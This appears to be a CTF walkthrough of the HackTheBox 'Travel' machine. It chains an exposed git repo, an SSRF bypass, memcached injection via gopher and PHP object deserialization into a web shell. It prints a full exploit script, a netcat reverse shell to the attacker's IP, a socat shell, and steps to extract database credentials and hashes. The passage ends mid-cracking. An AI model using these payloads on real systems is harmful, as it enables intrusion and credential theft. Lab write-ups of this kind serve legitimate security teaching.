HackTheBox - Travel

— Written by — 27 min read
travel-hackthebox

Travel just retired on HackTheBox. It’s a hard difficulty Linux box. The box was really well designed but it’s the one that gives me the biggest headache so far. The path to user is really not obvious and require a lot of enumeration and stepping back, looking at the big picture to understand what’s going on behind the hood and how it can be exploited. This box doesn’t rely on common vulnerabilities but rather on little configuration and coding mistakes that allows you to chain vulnerability until you can obtain what you need. In the end it’s a though but awesome box that I really recommend.

Tl;Dr: To get the user flag you first have to retrieve some php files code source from an open git repository. With information found in the source code you discover an SSRF vulnerability and an object deserialization vulnerability through memcached. Linking those two vulnerabilities we achieve arbitrary file write allowing us to create a web-shell. The web server runs in a Docker container and we have to explore to find a SQL backup file containing hashed password for lynik-admin user. Cracking the hash allow to use password to connect through SSH and get the user flag.
For the root flag you have to find the LDAP admin password in .viminfo cache file. Using this admin password it’s possible, using LDAP, to edit the permission of one user on the box to give him root access trough sudo. It’s also possible to edit its SSH key and account password, giving us full access to a privileged account and use it to get the root flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.189 traval.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[hg8@archbook ~]$  nmap -sV -sT -sC travel.htb
Nmap scan report for travel.htb (10.10.10.189)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http nginx 1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
|_ Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 17.06 seconds

We have a classical web app running on port 80, 443 and the SSH port 22 open.

nmap gives us additional information about two subdomains: blog.travel.htb and blog-dev.travel.htb.

Opening http://travel.htb display a following page:

travel homepage

Not much we can’t do from here… Let’s move on.

Opening https://travel.htb display a following page:

travel https homepage

The port 443 seems quite empty aswell… Let’s take a look at the subdomains:

Opening http://blog-dev.travel.htb returns a 403 Forbidden while http://blog.travel.htb returns an actual blog:

travel blog homepage

The blog is a Wordpress (Powered by WordPress in the footer) and it main and only feature seems to be the “Awesome RSS” reader:

Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team!

The page display an RSS Reader with apparently nothing in particular:

travel RSS feature

Let’s move on. First we can fire gobuster to see if it can find interesting directories.

http://blog.travel.htb didn’t returned any interesting content, nothing more than common wordpress folder. wpscan didn’t find any vulnerability in the Wordpress version used nor in any plugins or themes.

Git Repository Disclosure

Upon running gobuster on http://blog-dev.travel.htb an interesting folder shows up:

1
2
3
4
5
6
[hg8@archbook ~]$ gobuster dir -u "http://blog-dev.travel.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/.git (Status: 301)

Looks like someone accidentally let the project Git repository open and accessible.

If you are comfortable with Git inner-working, you are aware that Git will create a .git folder at the root of every projects it handle. This folder contains all the informations necessary for versioning the project, including all the information about commits, remote repository address, etc.
It also contains logs that stores the files commit history to be able to roll back to history at any moment.

Here is a good explanation on how it works behind the hood.

Alright! So with the right tools we should be able to easily dump the whole content of the repository.
Let’s use GitTools for this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[hg8@archbook ~]$ bash gitdumper.sh http://blog-dev.travel.htb/.git/ blog-dev-dump
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
###########

[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/03/13850ae948d71767aff2cc8cc0f87a0feeef63
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/b0/2b083f68102c4d62c49ed3c99ccbb31632ae9f
[+] Downloaded: objects/ed/116c7c7c51645f1e8a403bcec44873f74208e9
[+] Downloaded: objects/2b/1869f5a2d50f0ede787af91b3ff376efb7b039
[+] Downloaded: objects/30/b6f36ec80e8bc96451e47c49597fdd64cee2da

Bingo! looks like we managed to access a few files here. Let’s now run git reset to get the file content:

1
2
3
4
5
6
7
8
9
10
11
[hg8@archbook ~]$ git log
commit 0313850ae948d71767aff2cc8cc0f87a0feeef63 (HEAD -> master)
Author: jane <[email protected]>
Date: Tue Apr 21 01:34:54 2020 -0700

moved to git

[hg8@archbook ~]$ git reset --hard
HEAD is now at 0313850 moved to git
hugo@archpen:/home/hugo/hackthebox/travel/blog-dev-dump git:(master) $ ls
README.md rss_template.php template.php

According to the README.md file this is an extension to show RSS inside a Wordpress page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[hg8@archbook ~]$ cat README.md
# Rss Template Extension

Allows rss-feeds to be shown on a custom wordpress page.

## Setup

\ `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme

## Changelog

- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template

## ToDo

- finish logging implementation%

This is probably what is being used on the “Awesome RSS” page we found earlier on http://blog.travel.htb/awesone-rss/.

The README.md gives us additional information that might come useful later:

  • rss_template.php and template.php files we just found should be located in wp-content/themes/twentytwenty.
  • A logs folder exist at wp-content/themes/twentytwenty/logs.
  • The RSS have security checks, probably meaning it handle user input at some points.
  • Something get cached somewhere.

With those information in mind let’s continue our investigations.

RSS Template

Let’s take a deeper look at the two php files we recovered. First rss_template.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();
?>

<main class="section-inner">
<?php
function get_feed($url){
require_once ABSPATH . '/wp-includes/class-simplepie.php';
$simplepie = null;
$data = url_get_contents($url);
if ($url) {
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();
if ($simplepie->error) {
error_log($simplepie->error);
$simplepie = null;
$failed = True;
}
return $simplepie;
}

$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
$feed = get_feed($url);
[...]
<?php } ?>
</main>

<!--
DEBUG
<?php
if (isset($_GET['debug'])){
include('debug.php');
}
?>
-->

<?php get_template_part( 'template-parts/footer-menus-widgets' ); ?>

<?php
get_footer();

Alright so this file gives us a lot of informations on what going on. To resume:

  • This is the template used at http://blog.travel.htb/awesome-rss/.
  • The RSS is parsed using a library named SimplePie.
  • Something seems to be cached (probably the feed content?) into a local instance of memcached.
  • It’s possible to provide a custom RSS feed link to the page using custom_feed_url parameter.
  • There is a debug.php file located at wp-content/themes/twentytwenty/debug.php

Let’s now take a look at template.php which get included in rss_template.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

/**
Todo: finish logging implementation via TemplateHelper
*/

function safe($url)
{
// this should be secure
$tmpUrl = urldecode($url);
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
}
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
// preventing all localhost access
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
return $url;
}

function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
$output = shell_exec($pl);
return $output;
}


class TemplateHelper
{
private $file;
private $data;

public function __construct(string $file, string $data)
{
$this->init($file, $data);
}

public function __wakeup()
{
$this->init($this->file, $this->data);
}

private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}

The file is mainly used to retrieve remote RSS file using curl. In addition there is a few “security” check to make sure the parsing of custom RSS url doesn’t get abused.

Well now that’s a lot of informations. Let’s put everything together to see if we can progress.

Blind SSRF With Custom RSS Feed

First thing I wanted to try was to check this custom_feed_url function.

Let’s create a valid RSS file and host it on our machine using Python server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>RSS Title</title>
<description>This is an example of an RSS feed</description>
<link>http://www.example.com/main.html</link>
<lastBuildDate>Mon, 06 Sep 2010 00:01:00 +0000 </lastBuildDate>
<pubDate>Sun, 06 Sep 2009 16:20:00 +0000</pubDate>
<ttl>1800</ttl>

<item>
<title>Example entry</title>
<description>Here is some text containing an interesting description.</description>
<link>http://www.example.com/blog/post/1</link>
<pubDate>Sun, 06 Sep 2009 16:20:00 +0000</pubDate>
</item>

</channel>
</rss>
1
2
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now navigating to http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.18:8000/sample.xml indeed display our custom RSS feed:

travel custom rss

And we can see a new request have been made to our web server from the box:

1
2
3
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.189 - - [5/May/2020 19:44:38] "GET /sample.xml HTTP/1.1" 200 -

That’s good, we got Blind SSRF (Server Side Request Forgery)!

But what now? With Blind SSRF only we can’t do much yet. Since we can’t even read local files using file://

Let’s continue to review what we found so far to see if it can be linked with that SSRF.

Debug.php

I then got curious about `debug.php file. Maybe it can leak juicy informations ?

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php -i
HTTP/1.1 200 OK
Server: nginx/1.17.6
Content-Length: 132
X-Powered-By: PHP/7.3.16

~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Well that’s not very helpful. Yet while looking around and testing various things I got the debug to throw some informations. Indeed just after calling a custom_feed_url with the debug parameter we get the following:

1
2
3
4
5
6
7
8
9
10
11
[hg8@archbook ~]$ curl "http://blog.travel.htb/awesome-rss/?debug&custom_feed_url=http://10.10.14.18:8000/sample.xml" -s > /dev/null

[hg8@archbook ~]$ curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php -i
HTTP/1.1 200 OK
Server: nginx/1.17.6
Content-Length: 198
X-Powered-By: PHP/7.3.16

~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_a0e937ab19(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Both output are truncated, yet we notice the xct_ prefix here, if you remember we saw it being used by SimplePie:

1
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');

SimplePie documentation explains:

To use Memcache for SimplePie’s cache, simply set your cache location with a memcache.

For example, memcache://localhost:11211/?timeout=3600&prefix=sp_ will connect to memcache on localhost on port 11211. All tables will be prefixed with sp_ and data will expire after 3600 seconds.

https://simplepie.org/api/class-SimplePie_Cache_Memcache.html

Reading through SimplePie memcache.php source code we understand the given prefix is used to generated the memcached entry key:

1
$this->name = $this->options['extras']['prefix'] . md5("$name:$type");

In addition, still reading through the source code of SimplePie we see that it’s serialize data and save it in the memcached entry. Once loading RSS from cache it will unserialize the stored data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* Save data to the cache
*
* @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
* @return bool Successfulness
*/
public function save($data)
{
if ($data instanceof SimplePie)
{
$data = $data->data;
}
return $this
->cache
->set($this->name, serialize($data) , MEMCACHE_COMPRESSED, (int)$this->options['extras']['timeout']);
}

/**
* Retrieve the data saved to the cache
*
* @return array Data for SimplePie::$data
*/
public function load()
{
$data = $this
->cache
->get($this->name);

if ($data !== false)
{
return unserialize($data);
}
return false;
}

This make perfect sense with the output of debug.php that very probably show the lasted entry added (or loaded) from memcached:

  • Key: xct_a0e937ab19(...)
  • Content: a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...)

And now we can see how we could potentially exploit this flow…

Object Deserialization Vulnerability

If you remember, in template.php we have this TemplateHelper Object:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class TemplateHelper
{

private $file;
private $data;

public function __construct(string $file, string $data)
{
$this->init($file, $data);
}

public function __wakeup()
{
$this->init($this->file, $this->data);
}

private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}

If we find a way to create a new instance of TemplateHelper() we could actually exploit the file_put_contents() to write a web-shell to wp-content/themes/twentytwenty/logs/. Like so:

1
2
3
4
5
6
require("TemplateHelper.php");

$file = 'hg8.php';
$data = '<?php system($_REQUEST["cmd"]);';

$o = new TemplateHelper($file, $data);

That’s exactly what we need with the behaviour of SimplePie we found earlier. Let me explain.

  1. SimplePie stores, for each RSS feed, a memcached entry containing serialized PHP.

  2. Upon loading an RSS feed already cached before, SimplePie will take the memcached entry and unserialize the data with:

    1
    2
    3
    public function load() {
    return unserialize($data);
    }
  3. By storing a malicious serialized TemplateHelper() object (the one shown above) in the right memcached entry, SimplePie will execute it during the unserialize process (as know as Insecure Deserialization Vulnerability). This will write our web-shell to the server.

Sounds all good. Yet we are missing one point: How to write our malicious memcached entry ?

That’s where the SSRF vulnerability we found earlier come to play :)

SimplePie Memcached Key

First of all, we need to make sure to write our malicious payload to a memcached entry that SimplePie will deserialize.

By the code we know for sure that the default RSS feed (http://www.travel.htb/newsfeed/customfeed.xml) is stored in memcached and loaded when we open Awesome RSS without extra parameters.

Knowing this the best way to go would be to overwrite customfeed.xml memcached entry with our malicious payload.

The syntax to update a memcached entry is the following:

1
2
set key flags exptime bytes [noreply]  
value

But an issue arise. How can we find the memcached key used by SimplePie?

Well we saw earlier from the source code that key is the following format:

1
MD5(feed_url + ":spc")

So for http://www.travel.htb/newsfeed/customfeed.xml it should gives us the following MD5:

1
2
php > print md5("http://www.travel.htb/newsfeed/customfeed.xml" . ":spc");
15f4a13c9f97c9c2cf6791a16d4fa683

Yet that doesn’t match the entry shown by the debug.php page:

1
2
3
4
5
[hg8@archbook ~]$ curl "http://blog.travel.htb/awesome-rss/?debug" -s > /dev/null
[hg8@archbook ~]$ curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_4e5612ba07(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By digging a bit more in the source code we found that another MD5 is being made on top of the previous one. Creating the hash this way:

1
2
# https://simplepie.org/api/source-class-SimplePie.html#1266
MD5(MD5(feed_url + ":spc"))

So for http://www.travel.htb/newsfeed/customfeed.xml it should gives us the following MD5 as memcached key:

1
2
php > print md5(md5("http://www.travel.htb/newsfeed/customfeed.xml") . ":spc");
4e5612ba079c530a6b1f148c0b352241

Bingo! That match the partiel key we got from debug.php. We now have the memcached key for the entry we want to overwrite.

Memcached injection

Alright that’s a lot of informations so far but we slowly manage to get all the pieces together right ?

travel

We have:

  • Our malicious serialized PHP payload to drop a web-shell.
  • The memcached entry to inject our payload to.
  • SSRF

It now seems straightforward to use server-side request forgery in order to inject our payload to memcached (running on internal port 11211).

Bypassing SSRF protection

But wait… Didn’t we saw SSRF protection in Template.php?

Let’s take a look at it:

1
2
3
4
5
6
7
$tmp = parse_url($url, PHP_URL_HOST);
// preventing all localhost access
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
return $url;

Well that’s quite weak protection and there is more than a way to bypass it:

  1. Since it’s using a weak comparison we could simply use capital “LOCALHOST” or even “localHost”:

    1
    2
    3
    4
    php > var_dump("localhost" == "LOCALHOST");
    bool(false)
    php > var_dump("localhost" == "localhOst");
    bool(false)
  2. And then well we have plenty of other ways to call on localhost that is not localhost nor 127.0.0.1. Here is a few possible way:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [hg8@archbook ~]$ curl 127.0.0.1
    hello from localhost!
    [hg8@archbook ~]$ curl 0
    hello from localhost!
    [hg8@archbook ~]$ curl 0.0.0.0
    hello from localhost!
    [hg8@archbook ~]$ curl 127.1
    hello from localhost!
    [hg8@archbook ~]$ curl 0177.0000.0000.0001
    hello from localhost!
    [hg8@archbook ~]$ curl 0x7F000001
    hello from localhost!
    [hg8@archbook ~]$ curl 2130706433
    hello from localhost!
    [hg8@archbook ~]$ curl 127.00.00.1
    hello from localhost!
  3. Using a domain name which DNS record pointing to 127.0.0.1 like http://localtest.me

    1
    2
    [hg8@archbook ~]$ curl http://localtest.me/
    hello from localhost!

As you can see it shouldn’t be hard to bypass this SSRF protection. From now on I will use 127.1.

Memcached And Gopher Protocol

Another problem arise, using HTTP to inject memcached payload probably won’t work since HTTP need a specific format to be valid (like host and a bunch of carriage return).

memcached protocol needs data to includes sequences of commands and data ending by two CRLF:

There are two kinds of data sent in the memcache protocol: text lines
and unstructured data. Text lines are used for commands from clients
and responses from servers. Unstructured data is sent when a client
wants to store or retrieve data. The server will transmit back
unstructured data in exactly the same way it received it, as a byte
stream. The server doesn’t care about byte order issues in
unstructured data and isn’t aware of them. There are no limitations on
characters that may appear in unstructured data; however, the reader
of such data (either a client or a server) will always know, from a
preceding text line, the exact length of the data block being
transmitted.

Text lines are always terminated by \r\n. Unstructured data is also
terminated by \r\n, even though \r, \n or any other 8-bit characters
may also appear inside the data. Therefore, when a client retrieves
data from a server, it must use the length of the data block (which it
will be provided with) to determine where the data block ends, and not
the fact that \r\n follows the end of the data block, even though it
does.

A workaround to this format issue is to use the gopher:// protocol instead of http://:

The Gopher protocol is a communications protocol designed for distributing, searching, and retrieving documents in Internet Protocol networks. The design of the Gopher is presented as an alternative to the World Wide Web in its early stages, but ultimately fell into disfavor, yielding to the Hypertext Transfer Protocol (HTTP).

https://en.wikipedia.org/wiki/Gopher_(protocol)

While not being widely used, Gopher is still supported by curl:

1
2
3
4
5
6
[hg8@archbook ~]$ man curl
DESCRIPTION
curl is a tool to transfer data from or to a server, using one of the supported protocols
(DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S,
RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP). The command is designed to
work without user interaction.

Alright! We those informations we can start creating our memcached command to inject on the server.

First let’s create our serialized PHP web-shell payload:

1
2
3
4
5
6
php > require("TemplateHelper.php");
php > $file = 'hg8.php';
php > $data = '<?php system($_REQUEST["cmd"]);';
php > $o = new TemplateHelper($file, $data);
php > echo serialize($o);
O:14:"TemplateHelper":2:{s:4:"file";s:7:"hg8.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}

Now we can create the memcached command we need to execute:

1
2
set xct_4e5612ba079c530a6b1f148c0b352241 4 0 131
O:14:"TemplateHelper":2:{s:4:"file";s:7:"hg8.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}

URL Encoding this command and send it through curl using gopher:// protocol should work. Let’s give it a try and get our answer :)

Chaining vulnerabilities for RCE

We have quite a few vulnerabilities to chain in order to achieve Remote Code execution. We need to:

SSRF -> Memcached Injection -> Object Deserialization -> Arbitrary File Write

Since it’s going to be a pain let’s write a script to pull the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python 

import requests
import urllib
import time

url = "http://blog.travel.htb/"
shell = "hg8.php"

def generate_payload():
len_shell = str(len(shell))
php_obj = 'O:14:"TemplateHelper":2:{s:4:"file";s:'+len_shell+':"'+shell+'";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'

len_php_obj = len(php_obj)
memcached_cmd = f"\r\nset xct_4e5612ba079c530a6b1f148c0b352241 0 0 {len_php_obj}\r\n{php_obj}\r\n"
print(f"[+] Memcached command to run: {memcached_cmd}")

encoded_payload = urllib.parse.quote(memcached_cmd)
return f"gopher://127.1:11211/{encoded_payload}"

def inject_payload(payload):
ssrf_payload = f"{url}awesome-rss/?debug&custom_feed_url={payload}"
print(f"[+]Final SSRF Payload: {ssrf_payload}\n")
r = requests.get(ssrf_payload)

def deserialize():
requests.get(f"{url}awesome-rss/")
webshell_url = f"{url}wp-content/themes/twentytwenty/logs/{shell}"
webshell = requests.get(webshell_url)

print(f"[+] Checking for {shell}")
if webshell.status_code == 200:
print("[*] File found! Injection successful.")
exit()

if __name__ == "__main__":
payload = generate_payload()
inject_payload(payload)

while True:
deserialize()
time.sleep(1)

Let’s run it to see if everything goes fine:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ python exploit-test.py
[+] Memcached command to run:
set xct_4e5612ba079c530a6b1f148c0b352241 0 0 101
O:14:"TemplateHelper":2:{s:4:"file";s:7:"hg8.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}

[+] Final SSRF Payload:
http://blog.travel.htb/awesome-rss/?debug&custom_feed_url=gopher://127.1:11211/%0D%0Aset%20xct_4e5612ba079c530a6b1f148c0b352241%200%200%20101%0D%0AO%3A14%3A%22TemplateHelper%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A7%3A%22hg8.php%22%3Bs%3A4%3A%22data%22%3Bs%3A31%3A%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%22%3B%7D%0D%0A

[+] Checking for hg8.php
[*] File found! Injection successful.

Bingo it worked!

Upgrade Web-Shell with Socat

Alright now we have our web-shell:

1
2
[hg8@archbook ~]$ curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/hg8.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let’s open a reverse shell to upgrade to a more stable shell:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
1
[hg8@archbook ~]$ curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/hg8.php?cmd=nc%20-e%20/bin/bash%2010.10.10.10%208585" 

And we get a new connection to open on our listener:

1
2
3
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.189:47778

Unfortunately there is no python nor python3 installed on the box allowing us to upgrade our shell. Thankfully after a bit of search we found out socat is installed. Let’s upgrade our shell using it:

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.189:47778
$ which python
which python3
$ which socat
/usr/bin/socat
$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

Now we have a proper shell:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 4444
Listening on any address 4444 (krb524)
Connection from 10.10.10.189:33944
www-data@blog:/var/www/html/wp-content/themes/twentytwenty/logs$
www-data@blog:/$

What a ride! Let’s see what’s next.

Pivot www-data -> lynik-admin

The hostname and different informations makes us understand we are in a Docker container:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@blog:/$ ls -la /
total 88
drwxr-xr-x 1 root root 4096 Apr 23 18:44 .
drwxr-xr-x 1 root root 4096 Apr 23 18:44 ..
-rwxr-xr-x 1 root root 0 Apr 23 18:44 .dockerenv
www-data@blog:/home$ cat /proc/1/cgroup
12:devices:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
11:memory:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
10:freezer:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
9:perf_event:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
7:net_cls,net_prio:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
6:hugetlb:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
5:blkio:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
4:cpu,cpuacct:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
3:pids:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
2:cpuset:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6
1:name=systemd:/docker/f66f3e777ae0553cc95bd5a7179465eb8e38a01be007426d07e72a3b367f2dc6

Well let’s keep that in mind and continue our recon.

Since we know the travel website is a Wordpress site we can retrieve database credentials inside wp-config.php file:

1
2
3
4
5
6
www-data@blog:/var/www/html$ cat wp-config.php
<?php

define( 'DB_NAME', 'wp' );
define( 'DB_USER', 'wp' );
define( 'DB_PASSWORD', 'fiFtDDV9LYe8Ti' );

Let’s see if we can retrieve interesting accounts from the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
www-data@blog:/var/www/html$ mysql -u wp -p
mysql -u wp -p
Enter password: fiFtDDV9LYe8Ti

MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wp |
+--------------------+
4 rows in set (0.001 sec)

MariaDB [(none)]> USE wp
Database changed

MariaDB [wp]> SHOW TABLES;
+-----------------------+
| Tables_in_wp |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.000 sec)

MariaDB [wp]> SELECT * FROM wp_users;
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| 1 | admin | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin | [email protected] | http://localhost | 2020-04-13 13:19:01 | | 0 | admin |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)

We have a hash from admin account. Unfortunately John can not seem to crack it. Let’s move on.

While looking around we quickly stumble upon a database backup file in /opt/wordpress/ containing another user account belonging to lynik-admin:

1
2
3
4
5
6
7
8
9
10
www-data@blog:/opt/wordpress$ grep -ri "wp_users" backup-13-04-2020.sql
grep "wp_users" backup-13-04-2020.sql
[...]
CREATE TABLE `wp_users` (
-- Dumping data for table `wp_users`
LOCK TABLES `wp_users` WRITE;
/*!40000 ALTER TABLE `wp_users` DISABLE KEYS */;
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','[email protected]','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','[email protected]','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
/*!40000 ALTER TABLE `wp_users` ENABLE KEYS */;
www-data@blog:/opt/wordpress$

Let’s see if we can crack its password hash:

1
2
3
4
5
[hugo@archpen ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt lynik-hash           
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
